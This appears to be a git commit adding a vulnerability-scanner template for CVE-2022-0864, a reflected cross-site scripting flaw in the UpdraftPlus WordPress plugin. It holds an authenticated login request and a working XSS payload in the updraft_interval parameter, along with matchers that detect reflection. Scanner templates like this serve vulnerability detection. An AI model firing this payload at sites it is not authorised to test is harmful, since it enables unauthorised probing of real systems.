commit
a544d15de0
|
@ -0,0 +1,49 @@
|
|||
id: CVE-2022-0864
|
||||
|
||||
info:
|
||||
name: UpdraftPlus < 1.22.9 - Cross-Site Scripting
|
||||
author: DhiyaneshDk
|
||||
severity: medium
|
||||
description: |
|
||||
The plugin does not sanitise and escape the updraft_interval parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting (XSS) vulnerability.
|
||||
reference:
|
||||
- https://wpscan.com/vulnerability/7337543f-4c2c-4365-aebf-3423e9d2f872
|
||||
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0864
|
||||
- https://wordpress.org/plugins/updraftplus
|
||||
classification:
|
||||
cve-id: CVE-2022-0864
|
||||
metadata:
|
||||
verified: "true"
|
||||
tags: cve,cve2022,wp-plugin,xss,wp,wordpress,authenticated,updraftplus
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /wp-login.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Origin: {{RootURL}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
|
||||
- |
|
||||
GET /wp-admin/options-general.php?page=updraftplus&updraft_interval"></script><script>confirm(document.domain)</script> HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
cookie-reuse: true
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- '</script><script>confirm(document.domain)</script>'
|
||||
- 'updraftplus'
|
||||
condition: and
|
||||
|
||||
- type: word
|
||||
part: header
|
||||
words:
|
||||
- text/html
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
Loading…
Reference in New Issue